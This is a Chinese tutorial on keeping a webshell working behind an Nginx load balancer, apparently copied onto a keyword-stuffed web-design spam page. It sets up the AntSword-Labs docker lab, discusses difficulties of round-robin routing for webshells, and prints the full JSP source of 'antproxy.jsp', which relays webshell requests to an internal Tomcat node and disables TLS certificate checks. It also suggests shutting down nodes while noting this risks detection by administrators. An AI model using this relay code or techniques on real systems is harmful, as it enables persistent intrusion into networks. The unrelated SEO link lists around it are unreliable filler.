当前位置: 首页 > news >正文

南昌网站建设代理商网站建设确认函

南昌网站建设代理商,网站建设确认函,企业网站建设的重要性,wordpress分类目录多级菜单Nginx负载均衡下上传webshell 什么是反向代理? 正向代理就是代替客户端进行各种服务的访问以及获取;那么反向代理自然就是代替服务器进行事务处理,就是此时的代理服务器负责将用户的各项请求做一个汇总、分类,将其分发到不同的服务…

Nginx负载均衡下上传webshell

什么是反向代理?

正向代理就是代替客户端进行各种服务的访问以及获取;那么反向代理自然就是代替服务器进行事务处理,就是此时的代理服务器负责将用户的各项请求做一个汇总、分类,将其分发到不同的服务器上去进行处理。

什么是负载均衡?

负载均衡用于从“upstream”模块定义的后端服务器列表中选取一台服务器接受用户的请求;即把请求均匀的分摊给上游的应用服务器。最基本的配置方式便是轮询:、

轮询

默认方式

weight

权重方式

ip_hash

依据ip分配方式

least_conn

最少连接方式

fair(第三方)

响应时间方式

url_hash(第三方)

依据URL分配方式

配置环境

1.下载中国蚁剑,官方版在github获取:

GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests

选择下载zip,并将其上传至虚拟机

解压zip,并移至相应目录下:

cd /root/AntSword-Labs-master/loadbalance/loadbalance-jsp

启动环境:

docker-compose up -d

查看端口:

查看docker-compose.yml文件

这台虚拟机的配置如下:

2.安装docker

1.安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是devicemapper驱动依赖

yum install -y yum-utils device-mapper-persistent-data lvm2

2.设置yum源

yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo(中央仓库)

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo(阿里云仓库)

3.选择docker版本安装

yum list docker-ce --showduplicates | sort -r

yum -y install docker-ce-版本号

systemctl start docker

systemctl enable docker

docker version

4.安装docker-compose,并给与权限

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose

chmod 777 /usr/local/bin/docker-compose

环境已经配置好的结果(外部无法直接访问):

目前整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,在外部是没法直接访问到的。

用shell尝试连接:

负载均衡下webshell上传

难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用

难点二:无法预测下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,,,,

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:目标机器不能出外网:

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方法一:关机/停服

关掉其中一台机器,以缩小流量转发范围。但是第一:这种方法极大可能会被对方管理员察觉;第二:有可能造成公司的财产损失(测试时使用无所谓)。

方法二:判断是否执行

既然无法预测下一次是哪台机器去执行,那可以让 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`

echo $MYIP

方法三: 在Web 层做一次 HTTP 流量转发(优点:低权限可用,仅影响webshell的请求。缺点:需要LBSNode1和LBSNode2之间能够通讯)

虽然,无法用 AntSword 直接访问 LBSNode1 的 8080 端口,但是除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 LBSNode1 这台机器的 8080 端口的。

我们通过Nginx直接访问LBSNode1,然后把请求发给LBSNode2;LBSNode2 上面的 /antproxy.jsp 把请求重组之后,传给了LBSNode1 的 /ant.jsp

将http://192.168.179.129:18080/antproxy.jsp作为url地址

/antproxy.jsp的代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.19.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

多用蚁剑上传几次,创建时多创建几次(因为蚁剑本身有点小问题)

http://www.yayakq.cn/news/670997/

相关文章:

  • 陕西省建设监理协会网站主页如何自己开发app软件
  • 做网站什么公司好微信怎么开店铺小程序
  • 做资讯的网站网站建设需要的东西
  • 阿盟住房与建设局门户网站公司网站建设价位
  • 网站建设的策划文案崇信县门户网站留言首页
  • 广东省广州市佛山市seo工作流程图
  • 网站建设费用申请网站建设定位
  • 帮企业做网站前景怎么样制作网页第一件事就是选定一种
  • 做网站公司-深圳信科企业门户网站需求文档
  • 建设部网站哪里可以报名考监理员国外作品集网站
  • 怎么到百度做网站南宁江南区网站制作价格
  • 做字幕网站有哪些做微商如何引流推广?怎么找客源?
  • 专门做预言的网站安云自助建站系统源码
  • 网站域名hk果农在哪些网站做推广
  • 定制网站制作教案怎么写模板
  • 网站一年维护费用wordpress 中文cms模版
  • 网站建设 就业方向app音乐网站开发
  • 昆明网站托管企业企业网站宣传册应该哪个部门做
  • 网站技术解决网站改版是什么
  • 怎么做视频网站电子商务网站建设规划书范文
  • html5制作网站首页用jsp做的网站需要什么工具栏
  • 优质的网站自助建站注册域名费用一般多少钱
  • 做网站开发的是不是程序员prower wordpress
  • 成都 视频网站建设网站地图开发
  • wordpress搭建的知名网站沈阳个人网站建设
  • 深圳网站商城建设深圳市网站推广公司
  • 做类图的网站wordpress 获取作者id
  • 怎么做qq刷赞等网站企业为什么要建立战略联盟
  • 网站建设的步骤和要点宿州网站建设工作室
  • 网站建设规划文案网站开发属于什么费用